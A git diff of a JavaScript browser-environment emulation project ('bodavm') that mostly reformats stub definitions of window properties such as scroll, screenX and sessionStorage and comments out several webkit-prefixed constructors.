982e6faf..3a73fc8d 100644 --- a/env_xbb_lastest_jsdom/env/screenLeft.js +++ b/env_xbb_lastest_jsdom/env/screenLeft.js @@ -1,4 +1,5 @@ -// screenLeft对象 -bodavm.memory.globalobj['screenLeft'] = { - _boisinit:bodavm.config.isinit - } +// screenLeft对象 + +bodavm.memory.globalobj['screenLeft'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/screenTop.js b/env_xbb_lastest_jsdom/env/screenTop.js index 3a1742e6..ce28d3e0 100644 --- a/env_xbb_lastest_jsdom/env/screenTop.js +++ b/env_xbb_lastest_jsdom/env/screenTop.js @@ -1,4 +1,5 @@ -// screenTop对象 -bodavm.memory.globalobj['screenTop'] = { - _boisinit:bodavm.config.isinit - } +// screenTop对象 + +bodavm.memory.globalobj['screenTop'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/screenX.js b/env_xbb_lastest_jsdom/env/screenX.js index 6c24f895..f482b752 100644 --- a/env_xbb_lastest_jsdom/env/screenX.js +++ b/env_xbb_lastest_jsdom/env/screenX.js @@ -1,4 +1,5 @@ -// screenX对象 -bodavm.memory.globalobj['screenX'] = { - _boisinit:bodavm.config.isinit - } +// screenX对象 + +bodavm.memory.globalobj['screenX'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/screenY.js b/env_xbb_lastest_jsdom/env/screenY.js index cac6f93e..40ee4aee 100644 --- a/env_xbb_lastest_jsdom/env/screenY.js +++ b/env_xbb_lastest_jsdom/env/screenY.js @@ -1,4 +1,5 @@ -// screenY对象 -bodavm.memory.globalobj['screenY'] = { - _boisinit:bodavm.config.isinit - } +// screenY对象 + +bodavm.memory.globalobj['screenY'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/scroll.js b/env_xbb_lastest_jsdom/env/scroll.js index ac2c7e79..fb94e14d 100644 --- a/env_xbb_lastest_jsdom/env/scroll.js +++ b/env_xbb_lastest_jsdom/env/scroll.js @@ -1,6 +1,17 @@ -// scroll对象 -bodavm.memory.globalobj['scroll'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('scroll', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('scroll', "name", {configurable:true, enumerable:false, writable:false, value:"scroll"}); +// scroll对象 + +bodavm.memory.globalobj['scroll'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('scroll', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('scroll', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "scroll" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/scrollBy.js b/env_xbb_lastest_jsdom/env/scrollBy.js index 650e981b..18e229d0 100644 --- a/env_xbb_lastest_jsdom/env/scrollBy.js +++ b/env_xbb_lastest_jsdom/env/scrollBy.js @@ -1,6 +1,17 @@ -// scrollBy对象 -bodavm.memory.globalobj['scrollBy'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('scrollBy', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('scrollBy', "name", {configurable:true, enumerable:false, writable:false, value:"scrollBy"}); +// scrollBy对象 + +bodavm.memory.globalobj['scrollBy'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('scrollBy', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('scrollBy', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "scrollBy" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/scrollTo.js b/env_xbb_lastest_jsdom/env/scrollTo.js index e43952b7..a9c12050 100644 --- a/env_xbb_lastest_jsdom/env/scrollTo.js +++ b/env_xbb_lastest_jsdom/env/scrollTo.js @@ -1,6 +1,17 @@ -// scrollTo对象 -bodavm.memory.globalobj['scrollTo'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('scrollTo', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('scrollTo', "name", {configurable:true, enumerable:false, writable:false, value:"scrollTo"}); +// scrollTo对象 + +bodavm.memory.globalobj['scrollTo'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('scrollTo', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('scrollTo', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "scrollTo" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/scrollX.js b/env_xbb_lastest_jsdom/env/scrollX.js index 64624b58..59100f89 100644 --- a/env_xbb_lastest_jsdom/env/scrollX.js +++ b/env_xbb_lastest_jsdom/env/scrollX.js @@ -1,4 +1,5 @@ -// scrollX对象 -bodavm.memory.globalobj['scrollX'] = { - _boisinit:bodavm.config.isinit - } +// scrollX对象 + +bodavm.memory.globalobj['scrollX'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/scrollY.js b/env_xbb_lastest_jsdom/env/scrollY.js index 0e3bb4b0..acf6f8f4 100644 --- a/env_xbb_lastest_jsdom/env/scrollY.js +++ b/env_xbb_lastest_jsdom/env/scrollY.js @@ -1,4 +1,5 @@ -// scrollY对象 -bodavm.memory.globalobj['scrollY'] = { - _boisinit:bodavm.config.isinit - } +// scrollY对象 + +bodavm.memory.globalobj['scrollY'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/scrollbars.js b/env_xbb_lastest_jsdom/env/scrollbars.js index d804193a..099b0dec 100644 --- a/env_xbb_lastest_jsdom/env/scrollbars.js +++ b/env_xbb_lastest_jsdom/env/scrollbars.js @@ -1,5 +1,6 @@ -// scrollbars对象 -bodavm.memory.globalobj['scrollbars'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['scrollbars'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; +// scrollbars对象 + +bodavm.memory.globalobj['scrollbars'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['scrollbars'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/sessionStorage.js b/env_xbb_lastest_jsdom/env/sessionStorage.js index 4455f470..eebcc653 100644 --- a/env_xbb_lastest_jsdom/env/sessionStorage.js +++ b/env_xbb_lastest_jsdom/env/sessionStorage.js @@ -1,5 +1,6 @@ -// sessionStorage对象 -bodavm.memory.globalobj['sessionStorage'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['sessionStorage'].__proto__=bodavm.memory.globalobj['Storage'].prototype; +// sessionStorage对象 + +bodavm.memory.globalobj['sessionStorage'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['sessionStorage'].__proto__ = bodavm.memory.globalobj['Storage'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/showDirectoryPicker.js b/env_xbb_lastest_jsdom/env/showDirectoryPicker.js index aeba3bf4..523cf19b 100644 --- a/env_xbb_lastest_jsdom/env/showDirectoryPicker.js +++ b/env_xbb_lastest_jsdom/env/showDirectoryPicker.js @@ -1,6 +1,17 @@ -// showDirectoryPicker对象 -bodavm.memory.globalobj['showDirectoryPicker'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('showDirectoryPicker', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('showDirectoryPicker', "name", {configurable:true, enumerable:false, writable:false, value:"showDirectoryPicker"}); +// showDirectoryPicker对象 + +bodavm.memory.globalobj['showDirectoryPicker'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('showDirectoryPicker', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('showDirectoryPicker', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "showDirectoryPicker" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/showOpenFilePicker.js b/env_xbb_lastest_jsdom/env/showOpenFilePicker.js index 52762e0c..401746fe 100644 --- a/env_xbb_lastest_jsdom/env/showOpenFilePicker.js +++ b/env_xbb_lastest_jsdom/env/showOpenFilePicker.js @@ -1,6 +1,17 @@ -// showOpenFilePicker对象 -bodavm.memory.globalobj['showOpenFilePicker'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('showOpenFilePicker', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('showOpenFilePicker', "name", {configurable:true, enumerable:false, writable:false, value:"showOpenFilePicker"}); +// showOpenFilePicker对象 + +bodavm.memory.globalobj['showOpenFilePicker'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('showOpenFilePicker', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('showOpenFilePicker', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "showOpenFilePicker" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/showSaveFilePicker.js b/env_xbb_lastest_jsdom/env/showSaveFilePicker.js index cad5e2e3..c84aeb16 100644 --- a/env_xbb_lastest_jsdom/env/showSaveFilePicker.js +++ b/env_xbb_lastest_jsdom/env/showSaveFilePicker.js @@ -1,6 +1,17 @@ -// showSaveFilePicker对象 -bodavm.memory.globalobj['showSaveFilePicker'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('showSaveFilePicker', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('showSaveFilePicker', "name", {configurable:true, enumerable:false, writable:false, value:"showSaveFilePicker"}); +// showSaveFilePicker对象 + +bodavm.memory.globalobj['showSaveFilePicker'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('showSaveFilePicker', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('showSaveFilePicker', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "showSaveFilePicker" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/status.js b/env_xbb_lastest_jsdom/env/status.js index 20d3702d..a4455b80 100644 --- a/env_xbb_lastest_jsdom/env/status.js +++ b/env_xbb_lastest_jsdom/env/status.js @@ -1,5 +1,11 @@ -// status对象 -bodavm.memory.globalobj['status'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('status', "length", {configurable:false, enumerable:false, writable:false, value:0}); +// status对象 + +bodavm.memory.globalobj['status'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('status', "length", { + configurable: false, + enumerable: false, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/statusbar.js b/env_xbb_lastest_jsdom/env/statusbar.js index 4633a27f..5ce9c904 100644 --- a/env_xbb_lastest_jsdom/env/statusbar.js +++ b/env_xbb_lastest_jsdom/env/statusbar.js @@ -1,5 +1,6 @@ -// statusbar对象 -bodavm.memory.globalobj['statusbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['statusbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; +// statusbar对象 + +bodavm.memory.globalobj['statusbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['statusbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/stop.js b/env_xbb_lastest_jsdom/env/stop.js index 96751d02..960b4acf 100644 --- a/env_xbb_lastest_jsdom/env/stop.js +++ b/env_xbb_lastest_jsdom/env/stop.js @@ -1,6 +1,17 @@ -// stop对象 -bodavm.memory.globalobj['stop'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('stop', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('stop', "name", {configurable:true, enumerable:false, writable:false, value:"stop"}); +// stop对象 + +bodavm.memory.globalobj['stop'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('stop', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('stop', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "stop" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/structuredClone.js b/env_xbb_lastest_jsdom/env/structuredClone.js index 9e8ec27e..c4be3f65 100644 --- a/env_xbb_lastest_jsdom/env/structuredClone.js +++ b/env_xbb_lastest_jsdom/env/structuredClone.js @@ -1,6 +1,17 @@ -// structuredClone对象 -bodavm.memory.globalobj['structuredClone'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('structuredClone', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('structuredClone', "name", {configurable:true, enumerable:false, writable:false, value:"structuredClone"}); +// structuredClone对象 + +bodavm.memory.globalobj['structuredClone'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('structuredClone', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('structuredClone', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "structuredClone" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/toolbar.js b/env_xbb_lastest_jsdom/env/toolbar.js index 2439e11f..2b6ed5af 100644 --- a/env_xbb_lastest_jsdom/env/toolbar.js +++ b/env_xbb_lastest_jsdom/env/toolbar.js @@ -1,5 +1,6 @@ -// toolbar对象 -bodavm.memory.globalobj['toolbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['toolbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; +// toolbar对象 + +bodavm.memory.globalobj['toolbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['toolbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/trustedTypes.js b/env_xbb_lastest_jsdom/env/trustedTypes.js index 7e69983e..146928a9 100644 --- a/env_xbb_lastest_jsdom/env/trustedTypes.js +++ b/env_xbb_lastest_jsdom/env/trustedTypes.js @@ -1,5 +1,6 @@ -// trustedTypes对象 -bodavm.memory.globalobj['trustedTypes'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['trustedTypes'].__proto__=bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype; +// trustedTypes对象 + +bodavm.memory.globalobj['trustedTypes'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['trustedTypes'].__proto__ = bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/vilame_setter.js b/env_xbb_lastest_jsdom/env/vilame_setter.js index 21ed0626..1fd802ea 100644 --- a/env_xbb_lastest_jsdom/env/vilame_setter.js +++ b/env_xbb_lastest_jsdom/env/vilame_setter.js @@ -1,6 +1,17 @@ -// vilame_setter对象 -bodavm.memory.globalobj['vilame_setter'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('vilame_setter', "0", {configurable:true, enumerable:true, writable:true, value:{}}); -bodavm.toolsFunc.defineProperty('vilame_setter', "length", {configurable:false, enumerable:false, writable:true, value:1}); +// vilame_setter对象 + +bodavm.memory.globalobj['vilame_setter'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('vilame_setter', "0", { + configurable: true, + enumerable: true, + writable: true, + value: {} +}); +bodavm.toolsFunc.defineProperty('vilame_setter', "length", { + configurable: false, + enumerable: false, + writable: true, + value: 1 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitCancelAnimationFrame.js b/env_xbb_lastest_jsdom/env/webkitCancelAnimationFrame.js index 69f35550..656365ae 100644 --- a/env_xbb_lastest_jsdom/env/webkitCancelAnimationFrame.js +++ b/env_xbb_lastest_jsdom/env/webkitCancelAnimationFrame.js @@ -1,6 +1,17 @@ -// webkitCancelAnimationFrame对象 -bodavm.memory.globalobj['webkitCancelAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"webkitCancelAnimationFrame"}); +// webkitCancelAnimationFrame对象 + +bodavm.memory.globalobj['webkitCancelAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitCancelAnimationFrame" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitMediaStream.js b/env_xbb_lastest_jsdom/env/webkitMediaStream.js index 70e31c4d..ef0da8b1 100644 --- a/env_xbb_lastest_jsdom/env/webkitMediaStream.js +++ b/env_xbb_lastest_jsdom/env/webkitMediaStream.js @@ -1,4 +1,5 @@ -// MediaStream对象 +// MediaStream对象 +/* bodavm.memory.globalobj['MediaStream'] = function MediaStream(){this._boarg= new bodaobj.window.MediaStream();this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStream'], "MediaStream"); bodavm.memory.globalobj['MediaStream'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; @@ -15,4 +16,5 @@ bodavm.toolsFunc.defineProperty('MediaStream', "getAudioTracks", {configurable:t bodavm.toolsFunc.defineProperty('MediaStream', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTrackById", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('MediaStream', "getTracks", {configurable:true, enumerable:true, writable:true, value:function getTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getTracks", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('MediaStream', "getVideoTracks", {configurable:true, enumerable:true, writable:true, value:function getVideoTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "getVideoTracks", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('MediaStream', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStream'].prototype, "MediaStream", "removeTrack", arguments)}},'prototype'); */ +webkitMediaStream = bodavm.memory.globalobj['MediaStream']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitRTCPeerConnection.js b/env_xbb_lastest_jsdom/env/webkitRTCPeerConnection.js index 3cf11579..65f45988 100644 --- a/env_xbb_lastest_jsdom/env/webkitRTCPeerConnection.js +++ b/env_xbb_lastest_jsdom/env/webkitRTCPeerConnection.js @@ -1,4 +1,5 @@ -// RTCPeerConnection对象 +// RTCPeerConnection对象 +/* bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection(){this._boarg= new bodaobj.window.RTCPeerConnection();this._boisinit=bodavm.config.isinit} bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; @@ -48,4 +49,6 @@ bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", {configurabl bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", {configurable:true, enumerable:true, writable:true, value:function restartIce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", {configurable:true, enumerable:true, writable:true, value:function setConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments)}},'prototype'); bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", {configurable:true, enumerable:true, writable:true, value:function setLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); */ + +webkitRTCPeerConnection = bodavm.memory.globalobj['RTCPeerConnection']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitRequestAnimationFrame.js b/env_xbb_lastest_jsdom/env/webkitRequestAnimationFrame.js index 6fdd2f16..952fa61e 100644 --- a/env_xbb_lastest_jsdom/env/webkitRequestAnimationFrame.js +++ b/env_xbb_lastest_jsdom/env/webkitRequestAnimationFrame.js @@ -1,6 +1,17 @@ -// webkitRequestAnimationFrame对象 -bodavm.memory.globalobj['webkitRequestAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"webkitRequestAnimationFrame"}); +// webkitRequestAnimationFrame对象 + +bodavm.memory.globalobj['webkitRequestAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('webkitRequestAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitRequestAnimationFrame" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitRequestFileSystem.js b/env_xbb_lastest_jsdom/env/webkitRequestFileSystem.js index 9f94583e..f53f23a4 100644 --- a/env_xbb_lastest_jsdom/env/webkitRequestFileSystem.js +++ b/env_xbb_lastest_jsdom/env/webkitRequestFileSystem.js @@ -1,6 +1,17 @@ -// webkitRequestFileSystem对象 -bodavm.memory.globalobj['webkitRequestFileSystem'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "length", {configurable:true, enumerable:false, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "name", {configurable:true, enumerable:false, writable:false, value:"webkitRequestFileSystem"}); +// webkitRequestFileSystem对象 + +bodavm.memory.globalobj['webkitRequestFileSystem'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitRequestFileSystem" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitResolveLocalFileSystemURL.js b/env_xbb_lastest_jsdom/env/webkitResolveLocalFileSystemURL.js index 65f0d56f..36ef8768 100644 --- a/env_xbb_lastest_jsdom/env/webkitResolveLocalFileSystemURL.js +++ b/env_xbb_lastest_jsdom/env/webkitResolveLocalFileSystemURL.js @@ -1,6 +1,17 @@ -// webkitResolveLocalFileSystemURL对象 -bodavm.memory.globalobj['webkitResolveLocalFileSystemURL'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "name", {configurable:true, enumerable:false, writable:false, value:"webkitResolveLocalFileSystemURL"}); +// webkitResolveLocalFileSystemURL对象 + +bodavm.memory.globalobj['webkitResolveLocalFileSystemURL'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('webkitResolveLocalFileSystemURL', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "webkitResolveLocalFileSystemURL" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitSpeechGrammar.js b/env_xbb_lastest_jsdom/env/webkitSpeechGrammar.js index ee7b0739..f40579f3 100644 --- a/env_xbb_lastest_jsdom/env/webkitSpeechGrammar.js +++ b/env_xbb_lastest_jsdom/env/webkitSpeechGrammar.js @@ -1,5 +1,11 @@ -// SpeechGrammar对象 -bodavm.memory.globalobj['SpeechGrammar'] = function SpeechGrammar(){this._boarg= new bodaobj.window.SpeechGrammar();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammar'], "SpeechGrammar"); -bodavm.toolsFunc.defineProperty('SpeechGrammar', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammar', "weight", {configurable:true, enumerable:true, get:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_get", arguments)}, set:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_set", arguments)}},'prototype'); +// SpeechGrammar对象 + +//bodavm.memory.globalobj['SpeechGrammar'] = function SpeechGrammar(){this._boarg= new bodaobj.window.SpeechGrammar();this._boisinit=bodavm.config.isinit} + +//bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammar'], "SpeechGrammar"); + +//bodavm.toolsFunc.defineProperty('SpeechGrammar', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "src_set", arguments)}},'prototype'); + +//bodavm.toolsFunc.defineProperty('SpeechGrammar', "weight", {configurable:true, enumerable:true, get:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_get", arguments)}, set:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammar'].prototype, "SpeechGrammar", "weight_set", arguments)}},'prototype'); + +webkitSpeechGrammar = bodavm.memory.globalobj['SpeechGrammar']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/webkitSpeechGrammarList.js b/env_xbb_lastest_jsdom/env/webkitSpeechGrammarList.js index 84104021..9c19db64 100644 --- a/env_xbb_lastest_jsdom/env/webkitSpeechGrammarList.js +++ b/env_xbb_lastest_jsdom/env/webkitSpeechGrammarList.js @@ -1,7 +1,15 @@ -// SpeechGrammarList对象 -bodavm.memory.globalobj['SpeechGrammarList'] = function SpeechGrammarList(){this._boarg= new bodaobj.window.SpeechGrammarList();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SpeechGrammarList'], "SpeechGrammarList"); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromString", {configurable:true, enumerable:true, writable:true, value:function addFromString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SpeechGrammarList', "addFromUri", {configurable:true, enumerable:true, writable:true, value:function addFromUri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechGrammarList'].prototype, "SpeechGrammarList", "addFromUri", arguments)}},'prototype'); 